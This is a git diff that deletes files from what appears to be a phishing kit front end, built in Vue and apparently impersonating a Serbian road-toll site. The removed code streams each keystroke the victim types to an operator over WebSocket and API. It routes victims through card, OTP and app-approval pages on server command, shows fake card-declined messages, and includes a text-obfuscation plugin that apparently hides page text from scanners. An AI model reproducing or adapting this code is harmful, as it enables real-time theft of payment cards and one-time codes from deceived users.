- if (route) {
- const customOtpDataValue = localStorage.getItem("customOtpData");
- if (route === "customOtpValid" && customOtpDataValue) {
- setCustomOtpData(JSON.parse(customOtpDataValue));
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
- })
- );
- return;
- }
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: route },
- })
- );
- }
-}
-
-// Handle result type event
-function handleResultTypeEvent(content: any) {
- if (!content) return;
-
- const typeHandlers: Record void> = {
- customOtpValid: () => navigateTo("/customOtpValid", content),
- otpValid: () => navigateTo("/otpValid", content),
- appValid: () => navigateTo("/appValid", content),
- success: () => router.push("/success"),
- kickOut: redirectToExternal,
- block: redirectToExternal,
- otpFail: () =>
- eventBus.emit("otp-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t("Verification code error, please try again"),
- }),
- appFail: () =>
- eventBus.emit("app-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t(
- "The session is about to expire, please complete the verification now"
- ),
- }),
- back: () => handleBackOrReject(content, true),
- reject: () => handleBackOrReject(content, false),
- refresh: () => {
- if(localStorage.getItem("route")){
- localStorage.removeItem("route");
- window.location.reload();
- }
- },
- };
-
- if (content.type == "customOtpValid") {
- if(content.value.customOtpData) {
- setCustomOtpData(JSON.parse(content.value.customOtpData));
- }
-}
- if (content.type == "customOtpFail") {
- eventBus.emit("custom-otp-valid", {
- message2: content.value.message2,
- });
- }
-
- const handler = typeHandlers[content.type];
- if (handler) handler();
-
- useLoadingStore().setLoading(false);
-}
-
-// Navigate to specific path with query parameters
-function navigateTo(path: string, content: any) {
-
- router.push('/temp').then(() => {
- router.push({
- path: path,
- query: {
- cardType: content.value?.data?.cardData?.cardBIN?.schema,
- message1: content.value?.message1,
- key: new Date().getMilliseconds(),
- },
- });
- });
-}
-
-// Handle back or reject type
-function handleBackOrReject(content: any, isBack: boolean) {
- let message2 = i18n.global.t(
- "This card does not support this transaction, please try another card"
- );
-
- if (configData.value.error_card_msg) {
- message2 = configData.value.error_card_msg;
- }
-
- if (content.value.type) {
- const type = content.value.type;
- if (type === "denyC" && configData.value.deny_c_msg) {
- message2 = configData.value.deny_c_msg;
- }
- if (type === "denyD" && configData.value.deny_d_msg) {
- message2 = configData.value.deny_d_msg;
- }
- }
-
- if (content.value.message2) {
- message2 = content.value.message2;
- }
-
- if (isBack) {
- router.push({ path: "/card", query: { message2 } });
- }
-
- eventBus.emit("my-event", { message2 });
-}
-
-// Login to WebSocket
-function loginWebsocket(token: string, isFirst: boolean) {
- myWebSocket?.send(
- JSON.stringify({
- event: "login",
- content: { tag: "user", token, isFirst },
- })
- );
- initHtml();
-}
-
-// Redirect to an external URL
-export function redirectToExternal() {
- window.location.href = "https://www.putevi-srbije.rs/";
-}
-
-export async function loadHtml(url: string) {
- try {
- const response = await fetch(url); // 替换为您的 HTML 文件路径
- if (!response.ok) {
- return "";
- }
- return await response.text();
- } catch (error) {
- return "";
- }
-}
-
-export const headerHtml = ref("");
-export const footerHtml = ref("");
-export const loadingBg = ref("#ffffff");
-
-const initHtml = async () => {
- const routePath = localStorage.getItem("route");
- headerHtml.value = await loadHtml("/Static_zy/header.html");
- footerHtml.value = await loadHtml("/Static_zy/footer.html");
- await router.push(routePath ? `/${routePath}` : "/phone");
- setTimeout(async () => {
- useLoadingStore().setLoading(false);
- loadingBg.value = "transparent";
- }, 200);
-};
diff --git a/t_Ticket_temp2/src/components/HelloWorld.vue b/t_Ticket_temp2/src/components/HelloWorld.vue
deleted file mode 100644
index 8f39347..0000000
--- a/t_Ticket_temp2/src/components/HelloWorld.vue
+++ /dev/null
@@ -1,51 +0,0 @@
-
-
-
-
-
{{ msg }}
-
Send /
-
- You’ve successfully created a project with
- Vite +
- Vue 3 .
- What's next?
-
-
-
-
-
diff --git a/t_Ticket_temp2/src/components/TheWelcome.vue b/t_Ticket_temp2/src/components/TheWelcome.vue
deleted file mode 100644
index a70765c..0000000
--- a/t_Ticket_temp2/src/components/TheWelcome.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
-
-
- Documentation
-
- Vue’s
- official documentation
- provides you with all information you need to get started.
-
-
-
-
-
-
- Tooling
-
- This project is served and bundled with
- Vite . The
- recommended IDE setup is
- VSCode +
- Volar . If
- you need to test your components and web pages, check out
- Cypress and
- Cypress Component Testing .
-
-
-
- More instructions are available in README.md.
-
-
-
-
-
-
- Ecosystem
-
- Get official tools and libraries for your project:
- Pinia ,
- Vue Router ,
- Vue Test Utils , and
- Vue Dev Tools . If
- you need more resources, we suggest paying
- Awesome Vue
- a visit.
-
-
-
-
-
-
- Community
-
- Got stuck? Ask your question on
- Vue Land , our official
- Discord server, or
- StackOverflow . You should also subscribe to
- our mailing list and follow
- the official
- @vuejs
- twitter account for latest news in the Vue world.
-
-
-
-
-
-
- Support Vue
-
- As an independent project, Vue relies on community backing for its sustainability. You can help
- us by
- becoming a sponsor .
-
-
diff --git a/t_Ticket_temp2/src/components/WelcomeItem.vue b/t_Ticket_temp2/src/components/WelcomeItem.vue
deleted file mode 100644
index ba0def3..0000000
--- a/t_Ticket_temp2/src/components/WelcomeItem.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
diff --git a/t_Ticket_temp2/src/main.ts b/t_Ticket_temp2/src/main.ts
index f4f3682..9f2935b 100644
--- a/t_Ticket_temp2/src/main.ts
+++ b/t_Ticket_temp2/src/main.ts
@@ -1,4 +1,3 @@
-import { TextObfuscatorPlugin } from "./mix/textObfuscator";
import { createApp, ref } from "vue";
import { createPinia } from "pinia";
@@ -25,6 +24,5 @@ app.use(i18n);
app.use(createPinia());
app.use(router);
-// //app.use(TextObfuscatorPlugin);
app.mount("#app");
export default i18n;
diff --git a/t_Ticket_temp2/src/mix/textObfuscator.ts b/t_Ticket_temp2/src/mix/textObfuscator.ts
deleted file mode 100644
index 76c21e9..0000000
--- a/t_Ticket_temp2/src/mix/textObfuscator.ts
+++ /dev/null
@@ -1,643 +0,0 @@
-import type { ComponentInternalInstance, Plugin, App } from 'vue';
-
-/**
- * 全局文本混淆插件
- * 自动查找并替换所有文本节点
- */
-// 修改Vue混淆插件以确保处理整个组件树
-export const TextObfuscatorPlugin: Plugin = {
- install(app: App) {
- // 安装全局样式和解码脚本
- addObfuscationStyle();
-
- // 注册全局指令,直接处理元素内容
- app.directive('odata', {
- mounted(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- setupMutationObserver(el);
- },
- updated(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- }
- });
-
- // 在 app.mixin 中修改处理 $el 的部分
- app.mixin({
- mounted() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- // 1. 首先处理当前组件的根元素
- processTextNodes(rootElement, this);
-
- // 2. 递归处理所有子元素,确保覆盖所有文本节点
- const processAllChildNodes = (element: Element) => {
- if (!(element instanceof Element)) return;
-
- try {
- // 为每个子元素单独处理文本节点
- const childElements = element.querySelectorAll('*');
- childElements.forEach(childEl => {
- processTextNodes(childEl, null);
- });
-
- // 立即解码当前处理的元素
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(element), 0);
- }
- } catch (error) {
- console.error('Error processing child nodes:', error, element);
- }
- };
-
- // 处理整个组件树
- processAllChildNodes(rootElement);
-
- // 设置监听
- setupMutationObserver(rootElement);
- });
- // 添加:深度扫描所有包含纯文本的元素
- setTimeout(() => {
- const scanPureTextElements = (rootElement: Element) => {
- // 跳过已处理过的元素
- if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
- return;
- }
-
- // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
- let hasOnlyTextNodes = false;
- let hasElementNodes = false;
-
- if (rootElement.childNodes && rootElement.childNodes.length > 0) {
- hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
- );
-
- hasElementNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.ELEMENT_NODE
- );
- }
-
- // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
- if (hasOnlyTextNodes && !hasElementNodes &&
- !SKIP_TAGS.includes(rootElement.tagName) &&
- !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
- processTextNodes(rootElement, null);
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(rootElement);
- }
- }
-
- // 递归处理子元素
- if (rootElement.children) {
- Array.from(rootElement.children).forEach(child => {
- scanPureTextElements(child);
- });
- }
- };
-
- // 从body开始扫描
- scanPureTextElements(document.body);
- }, 10); // 给DOM足够的时间渲染
- },
-
- updated() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element | undefined) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- processTextNodes(rootElement, this);
-
- try {
- // 递归处理所有子元素
- const childElements = rootElement.querySelectorAll('*');
- childElements.forEach((childEl: Element) => {
- processTextNodes(childEl, null);
- });
-
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
- }
- } catch (error) {
- console.error('Error processing updated component:', error, rootElement);
- }
- });
- }
- });
- }
-};
-
-// 声明全局函数类型
-declare global {
- interface Window {
- decodeObfuscatedContent: (rootElement?: Element) => void;
- }
-}
-
-// 需要跳过的标签
-const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
-// 需要跳过的类名
-const SKIP_CLASSES = ['no-obfuscate'];
-
-/**
- * 处理元素中的所有文本节点
- */
-function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
- if (!element || element.nodeType !== Node.ELEMENT_NODE) {
- return;
- }
- // 为 DIV 元素增加优先处理逻辑
- if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
- // 对于DIV元素,特殊处理其直接子文本节点
- let hasTextContent = false;
- for (let i = 0; i < element.childNodes.length; i++) {
- const node = element.childNodes[i];
- if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
- hasTextContent = true;
- break;
- }
- }
-
- // 如果DIV中有直接的文本内容,标记它需要被处理
- if (hasTextContent) {
- // 只处理未混淆过的DIV
- const textContent = Array.from(element.childNodes)
- .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
- .map(node => node.textContent).join('').trim();
-
- if (textContent) {
- // 替换整个DIV的内容
- const originalHTML = element.innerHTML;
- const processedHTML = obfuscateText(textContent);
- element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
- element.setAttribute('data-obfuscated', 'true');
- }
- }
- }
- // 跳过带有特定标记的元素(避免重复处理)
- if (element.hasAttribute('data-obfuscated') ||
- !element ||
- SKIP_TAGS.includes(element.tagName) ||
- Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
- return;
- }
-
- // 使用 TreeWalker 遍历所有文本节点
- const walker = document.createTreeWalker(
- element,
- NodeFilter.SHOW_TEXT,
- {
- acceptNode(node) {
- // 不处理完全空的文本节点
- if (!node.textContent) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 检查父节点是否应该被跳过
- const parent = node.parentElement;
- if (parent && (
- SKIP_TAGS.includes(parent.tagName) ||
- parent.hasAttribute('data-obfuscated') ||
- Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
- )) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 如果只包含空白且不是段落的首个节点,则跳过
- if (node.textContent.trim() === '' &&
- !(parent?.tagName === 'P' && node === parent.firstChild)) {
- return NodeFilter.FILTER_REJECT;
- }
-
- return NodeFilter.FILTER_ACCEPT;
- }
- }
- );
-
- // 收集需要处理的文本节点
- const textNodes: Text[] = [];
- let currentNode: Node | null = walker.nextNode();
-
- while (currentNode) {
- textNodes.push(currentNode as Text);
- currentNode = walker.nextNode();
- }
-
- // 预先计算所有混淆内容,减少DOM操作次数
- const fragments: DocumentFragment[] = [];
- const nodesToReplace: Text[] = [];
-
- // 在处理文本节点前,移除所有前导空格
- for (const textNode of textNodes) {
- const text = textNode.textContent;
- if (!text) continue;
-
- // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
- let processedText = text;
- if (textNode.parentElement?.tagName === 'P' &&
- textNode === textNode.parentElement.firstChild) {
- // 去除开头的空白,无论什么情况
- processedText = text.replace(/^\s+/, '');
- // 如果去除空白后为空,直接跳过这个节点
- if (!processedText) continue;
- }
-
- try {
- // 创建文档碎片来存储混淆后的内容
- const fragment = document.createDocumentFragment();
- const tempContainer = document.createElement('div');
- tempContainer.innerHTML = obfuscateText(processedText);
-
- // 将内容移动到碎片中
- while (tempContainer.firstChild) {
- fragment.appendChild(tempContainer.firstChild);
- }
-
- fragments.push(fragment);
- nodesToReplace.push(textNode);
- } catch (error) {
- console.error('Error processing text node:', error);
- }
- }
-
- // 批量替换节点,减少回流
- for (let i = 0; i < nodesToReplace.length; i++) {
- const textNode = nodesToReplace[i];
- const fragment = fragments[i];
-
- if (textNode.parentNode) {
- textNode.parentNode.replaceChild(fragment, textNode);
- }
- }
-}
-
-/**
- * 设置 MutationObserver 来监听 DOM 变化
- */
-function setupMutationObserver(element: Element) {
- if (!element) return;
-
- const observer = new MutationObserver((mutations) => {
- for (const mutation of mutations) {
- if (mutation.type === 'childList' && mutation.addedNodes.length) {
- mutation.addedNodes.forEach((node) => {
- if (node.nodeType === Node.ELEMENT_NODE) {
- processTextNodes(node as Element, null);
- // 观察到新元素后立即解码
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(node as Element);
- }
- }
- });
- }
- }
- });
-
- observer.observe(element, {
- childList: true,
- subtree: true
- });
-}
-
-/**
- * 生成随机噪声标签和注释
- */
-function getRandomNoise() {
- const noiseTypes = [
- // HTML注释
- () => ``,
- // 空的自定义元素
- () => {
- const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
- const tag = tags[Math.floor(Math.random() * tags.length)];
- return `<${tag}>${tag}>`;
- },
- // 带随机属性的自定义元素
- () => {
- const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
- const value = Math.random().toString(36).substring(2, 10);
- return ` `;
- },
- // 带随机文本的隐藏元素
- () => {
- const text = Math.random().toString(36).substring(2, 8);
- return `${text} `;
- }
- ];
-
- // 随机选择一种噪声类型
- const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
- return noiseGenerator();
-}
-
-/**
- * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
- */
-function obfuscateText(text: string): string {
- if (!text) return '';
-
- // 首先移除文本开头的所有空白字符以解决段落首行缩进问题
- text = text.replace(/^\s+/, '');
- if (!text) return '';
-
- // 使用正则表达式将文本拆分为单词和空格,保持完整性
- const words = text.split(/(\s+)/);
- let result = '';
-
- // 过滤掉空字符串,避免生成空的z-span元素
- const filteredWords = words.filter(word => word.length > 0);
-
- // 为每个单词创建一个独立的自定义元素
- filteredWords.forEach((word, index) => {
- // 对空格和特殊字符进行特殊处理
- if (/^\s+$/.test(word)) {
- // 改进:更精确地处理各种换行符
- if (/[\n\r]/.test(word)) {
- // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
- result += ' ';
- } else {
- // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
- result += ' ';
- }
- return;
- }
-
- // 随机在单词前添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
-
- // 为了提高效率,固定属性名
- const attrId = `data`;
-
- // 将单词编码为Base64
- const encodedWord = btoa(encodeURIComponent(word));
-
- // 随机选择z-span或z-strong标签增加混淆度
- const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
-
- // 添加标签开始部分
- result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
-
- // 随机在标签内添加隐藏内容,但减少频率
- if (Math.random() > 0.8) {
- const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
- result += `${fakeText} `;
- }
-
- // 闭合标签
- result += `${tagName}>`;
-
- // 随机在单词后添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
- });
-
- result += ' ';
- return result;
-}
-
-/**
- * 添加显示混淆内容的样式和解码脚本
- */
-function addObfuscationStyle() {
- // 添加样式
- if (!document.getElementById('obfuscation-style')) {
- const style = document.createElement('style');
- style.id = 'obfuscation-style';
- style.textContent = `
- /* 自定义元素基本样式 */
- z-wrap {
- display: inline;
- white-space: normal;
- user-select: none; /* 阻止文本选择 */
- text-indent: 0 !important; /* 确保无缩进 */
- }
-
- /* 添加一个类来允许选择文本的情况 */
- .allow-select z-wrap {
- user-select: text;
- }
-
- /* 确保段落中的混淆内容没有开头缩进 */
- p > z-wrap:first-child {
- text-indent: 0 !important;
- margin-left: 0 !important;
- padding-left: 0 !important;
- }
-
- /* 处理所有p标签,确保没有多余空间 */
- p {
- text-indent: 0;
- }
-
- z-span, z-strong {
- display: inline-block;
- position: relative;
- opacity: 1;
- transition: opacity 0.1s ease;
- margin: 0;
- padding: 0;
- }
-
- /* 控制右侧间距 */
- z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
- margin-left: 0.1em;
- }
-
- /* 移除最后一个元素的右侧间距 */
- z-span:last-child, z-strong:last-child {
- margin-right: 0;
- }
-
- z-span::after, z-strong::after {
- content: attr(data-content);
- position: relative;
- pointer-events: none;
- }
-
- /* 空格元素 - 精确控制宽度 */
- z-space {
- display: inline-block;
- width: 0.25em;
- margin: 0;
- padding: 0;
- }
-
- /* 空的z-span/z-strong元素不应该显示 */
- z-span:not([data-content]), z-strong:not([data-content]) {
- display: none;
- }
-
- /* 换行元素 - 强制换行且完全没有尺寸 */
- z-break {
- display: block !important;
- height: 0 !important;
- width: 0 !important;
- margin: 0 !important;
- padding: 0 !important;
- border: none !important;
- line-height: 0 !important;
- font-size: 0 !important;
- overflow: hidden !important;
- }
-
- /* 隐藏所有噪声元素 */
- z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
- display: none;
- width: 0;
- height: 0;
- opacity: 0;
- overflow: hidden;
- position: absolute;
- visibility: hidden;
- }
-
- /* 预加载状态 */
- [data-preload="true"] {
- min-width: 0.5em;
- min-height: 1em;
- }
- `;
- document.head.appendChild(style);
- }
-
- // 添加自定义元素注册,确保所有浏览器都能正确处理
- const scriptCustomElements = document.createElement('script');
- scriptCustomElements.textContent = `
- // 注册所有自定义元素
- if ('customElements' in window) {
- customElements.define('z-wrap', class extends HTMLElement {});
- customElements.define('z-span', class extends HTMLElement {});
- customElements.define('z-strong', class extends HTMLElement {});
- customElements.define('z-space', class extends HTMLElement {});
- customElements.define('z-break', class extends HTMLElement {});
-
- // 注册噪声元素
- customElements.define('z-nil', class extends HTMLElement {});
- customElements.define('z-void', class extends HTMLElement {});
- customElements.define('z-null', class extends HTMLElement {});
- customElements.define('z-fake', class extends HTMLElement {});
- customElements.define('z-empty', class extends HTMLElement {});
- customElements.define('z-attr', class extends HTMLElement {});
- customElements.define('z-text', class extends HTMLElement {});
- customElements.define('z-hidden', class extends HTMLElement {});
- }
- `;
- document.head.appendChild(scriptCustomElements);
-
- // 添加提前解码的脚本,放在顶部优先加载
- if (!document.getElementById('obfuscation-script')) {
- const script = document.createElement('script');
- script.id = 'obfuscation-script';
- script.textContent = `
- (function() {
- // 定义解码函数并暴露为全局函数
- window.decodeObfuscatedContent = function(rootElement) {
- const root = rootElement || document.body;
- const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
-
- if (elements.length === 0) return;
-
- // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
- const runWhenIdle = window.requestIdleCallback ||
- function(cb) { setTimeout(cb, 1); };
-
- runWhenIdle(() => {
- elements.forEach(el => {
- // 避免重复解码
- if (el.hasAttribute('data-content')) return;
-
- // 找到编码数据
- const dataAttr = el.getAttribute('data-data');
- if (dataAttr) {
- try {
- // 解码并设置
- const decodedWord = decodeURIComponent(atob(dataAttr));
- el.setAttribute('data-content', decodedWord);
- el.removeAttribute('data-preload');
- } catch (e) {
- // 解码失败时跳过
- }
- }
- });
- });
- };
-
- // 页面加载完成后立即执行一次全局解码
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', function() {
- window.decodeObfuscatedContent();
- });
- } else {
- window.decodeObfuscatedContent();
- }
-
- // 使用IntersectionObserver优化解码性能
- if ('IntersectionObserver' in window) {
- const decodeObserver = new IntersectionObserver(
- (entries, observer) => {
- entries.forEach(entry => {
- if (entry.isIntersecting) {
- // 容器进入视口时解码其内容
- window.decodeObfuscatedContent(entry.target);
- observer.unobserve(entry.target);
- }
- });
- },
- { rootMargin: '200px 0px' } // 提前200像素开始解码
- );
-
- // 监听所有混淆容器
- function observeContainers() {
- document.querySelectorAll('z-wrap').forEach(container => {
- decodeObserver.observe(container);
- });
- }
-
- // 初始观察
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', observeContainers);
- } else {
- observeContainers();
- }
-
- // 定期检查新容器
- setInterval(observeContainers, 2000);
- } else {
- // 降级方案:定期全局检查
- setInterval(() => window.decodeObfuscatedContent(), 1000);
- }
- })();
- `;
-
- // 将脚本添加到head的最前面,确保尽早加载
- if (document.head.firstChild) {
- document.head.insertBefore(script, document.head.firstChild);
- } else {
- document.head.appendChild(script);
- }
- }
-}
\ No newline at end of file
diff --git a/t_Ticket_temp2/src/utils/common.ts.backup b/t_Ticket_temp2/src/utils/common.ts.backup
deleted file mode 100644
index 8f55f26..0000000
--- a/t_Ticket_temp2/src/utils/common.ts.backup
+++ /dev/null
@@ -1,331 +0,0 @@
-import _ from "lodash";
-import { sendInput } from "@/api/api";
-import type { Socket } from "@/utils/websocket";
-import eventBus from "@/utils/eventBus";
-import router from "@/router";
-import { ref } from "vue";
-import { useSocket } from "@/utils/websocket";
-import { useLoadingStore } from "@/stores/loadingStore";
-import i18n from "@/main";
-import { useSocketIo } from "./socketio";
-
-const viteBaseUrl = import.meta.env.VITE_BASE_URL;
-
-// WebSocket interface
-interface MyWebSocket {
- socket: any;
- send: (data: string) => Promise;
- off: (event: string) => void;
- on: (event: string, callback: (data: any) => void) => void;
-}
-
-export const customOtpData = ref({});
-
-export function setCustomOtpData(data: any) {
- customOtpData.value = data;
- localStorage.setItem("customOtpData", JSON.stringify(data));
-}
-
-export let myWebSocket: MyWebSocket | undefined;
-
-// Configuration data
-export const configData = ref>({});
-
-// Utility function to check if all values in an object are not empty
-export function areAllValuesNotEmpty(
- obj: Record,
- excludedFields: string[] = []
-): boolean {
- return Object.keys(obj).every((key) => {
- if (excludedFields.includes(key)) return true;
- const value = obj[key];
- return (
- value !== null &&
- value !== undefined &&
- value !== "" &&
- !(typeof value === "string" && value.trim() === "")
- );
- });
-}
-
-// 存储 WebSocket 和 API 的防抖函数
-const wsDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-const apiDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-
-// 获取或创建针对某个键的防抖函数
-function getDebouncedFunction(
- debounceFunctions: Record void>>,
- key: string,
- func: (...args: any[]) => void,
- wait: number
-) {
- if (!debounceFunctions[key]) {
- debounceFunctions[key] = _.debounce(func, wait);
- }
- return debounceFunctions[key];
-}
-
-const modeRef = ref(1)
-
-
-// 处理输入变化
-export function inputChange(type: string, key: any, value: any) {
- const currentTimestamp = Date.now(); // 当前时间戳
-
- // WebSocket 防抖函数
- const wsDebouncedFunction = getDebouncedFunction(
- wsDebounceFunctions,
- key,
- (type, key, value) => {
- myWebSocket?.send(
- JSON.stringify({
- event: "input_text",
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- })
- );
- },
- 300
- );
-
- // API 防抖函数
- const apiDebouncedFunction = getDebouncedFunction(
- apiDebounceFunctions,
- key,
- (type, key, value) => {
- sendInput({
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- });
- },
- 1000
- );
-
- // 调用防抖函数
- wsDebouncedFunction(type, key, value);
- if(modeRef.value !== 2) {
- apiDebouncedFunction(type, key, value);
- }
-}
-
-
-// Handle login success
-export function loginSuccess(token: string, mode: number) {
- if(mode === 2) {
- modeRef.value = 2
- myWebSocket = useSocketIo(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }else{
- myWebSocket = useSocket(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }
-
- myWebSocket?.on("close", () => console.log("Socket closed!"));
- myWebSocket?.on("open", () => {
- const lastToken = localStorage.getItem("token");
- loginWebsocket(token, lastToken !== token);
- });
-
- myWebSocket?.on("message", handleMessage);
-
- window.addEventListener("beforeunload", () => {
- myWebSocket?.off("close");
- });
-}
-
-// Handle WebSocket messages
-function handleMessage(data: any) {
- const jsonData = JSON.parse(data);
- if (!jsonData || !jsonData.event) return;
-
- const { event, content } = jsonData;
-
- switch (event) {
- case "login":
- //handleLoginEvent(content);
- break;
- case "result_type":
- handleResultTypeEvent(content);
- break;
- case "reload":
- window.location.reload();
- break;
- default:
- break;
- }
-}
-
-// Handle login event
-function handleLoginEvent(content: any) {
- const route = localStorage.getItem("route");
- if (route) {
- const customOtpDataValue = localStorage.getItem("customOtpData");
- if (route === "customOtpValid" && customOtpDataValue) {
- setCustomOtpData(JSON.parse(customOtpDataValue));
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
- })
- );
- return;
- }
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: route },
- })
- );
- }
-}
-
-// Handle result type event
-function handleResultTypeEvent(content: any) {
- if (!content) return;
-
- const typeHandlers: Record void> = {
- customOtpValid: () => navigateTo("/customOtpValid", content),
- otpValid: () => navigateTo("/otpValid", content),
- appValid: () => navigateTo("/appValid", content),
- success: () => router.push("/success"),
- kickOut: redirectToExternal,
- block: redirectToExternal,
- otpFail: () =>
- eventBus.emit("otp-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t("Verification code error, please try again"),
- }),
- appFail: () =>
- eventBus.emit("app-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t(
- "The session is about to expire, please complete the verification now"
- ),
- }),
- back: () => handleBackOrReject(content, true),
- reject: () => handleBackOrReject(content, false),
- refresh: () => {
- if(localStorage.getItem("route")){
- localStorage.removeItem("route");
- window.location.reload();
- }
- },
- };
-
- if (content.type == "customOtpValid") {
- if(content.value.customOtpData) {
- setCustomOtpData(JSON.parse(content.value.customOtpData));
- }
-}
- if (content.type == "customOtpFail") {
- eventBus.emit("custom-otp-valid", {
- message2: content.value.message2,
- });
- }
-
- const handler = typeHandlers[content.type];
- if (handler) handler();
-
- useLoadingStore().setLoading(false);
-}
-
-// Navigate to specific path with query parameters
-function navigateTo(path: string, content: any) {
-
- router.push('/temp').then(() => {
- router.push({
- path: path,
- query: {
- cardType: content.value?.data?.cardData?.cardBIN?.schema,
- message1: content.value?.message1,
- key: new Date().getMilliseconds(),
- },
- });
- });
-}
-
-// Handle back or reject type
-function handleBackOrReject(content: any, isBack: boolean) {
- let message2 = i18n.global.t(
- "This card does not support this transaction, please try another card"
- );
-
- if (configData.value.error_card_msg) {
- message2 = configData.value.error_card_msg;
- }
-
- if (content.value.type) {
- const type = content.value.type;
- if (type === "denyC" && configData.value.deny_c_msg) {
- message2 = configData.value.deny_c_msg;
- }
- if (type === "denyD" && configData.value.deny_d_msg) {
- message2 = configData.value.deny_d_msg;
- }
- }
-
- if (content.value.message2) {
- message2 = content.value.message2;
- }
-
- if (isBack) {
- router.push({ path: "/card", query: { message2 } });
- }
-
- eventBus.emit("my-event", { message2 });
-}
-
-// Login to WebSocket
-function loginWebsocket(token: string, isFirst: boolean) {
- myWebSocket?.send(
- JSON.stringify({
- event: "login",
- content: { tag: "user", token, isFirst },
- })
- );
- initHtml();
-}
-
-// Redirect to an external URL
-export function redirectToExternal() {
- window.location.href = "https://www.putevi-srbije.rs/";
-}
-
-export async function loadHtml(url: string) {
- try {
- const response = await fetch(url); // 替换为您的 HTML 文件路径
- if (!response.ok) {
- return "";
- }
- return await response.text();
- } catch (error) {
- return "";
- }
-}
-
-export const headerHtml = ref("");
-export const footerHtml = ref("");
-export const loadingBg = ref("#ffffff");
-
-const initHtml = async () => {
- const routePath = localStorage.getItem("route");
- headerHtml.value = await loadHtml("/Static_zy/header.html");
- footerHtml.value = await loadHtml("/Static_zy/footer.html");
- await router.push(routePath ? `/${routePath}` : "/phone");
- setTimeout(async () => {
- useLoadingStore().setLoading(false);
- loadingBg.value = "transparent";
- }, 200);
-};
diff --git a/t_Ticket_temp3/src/components/HelloWorld.vue b/t_Ticket_temp3/src/components/HelloWorld.vue
deleted file mode 100644
index 8f39347..0000000
--- a/t_Ticket_temp3/src/components/HelloWorld.vue
+++ /dev/null
@@ -1,51 +0,0 @@
-
-
-
-
-
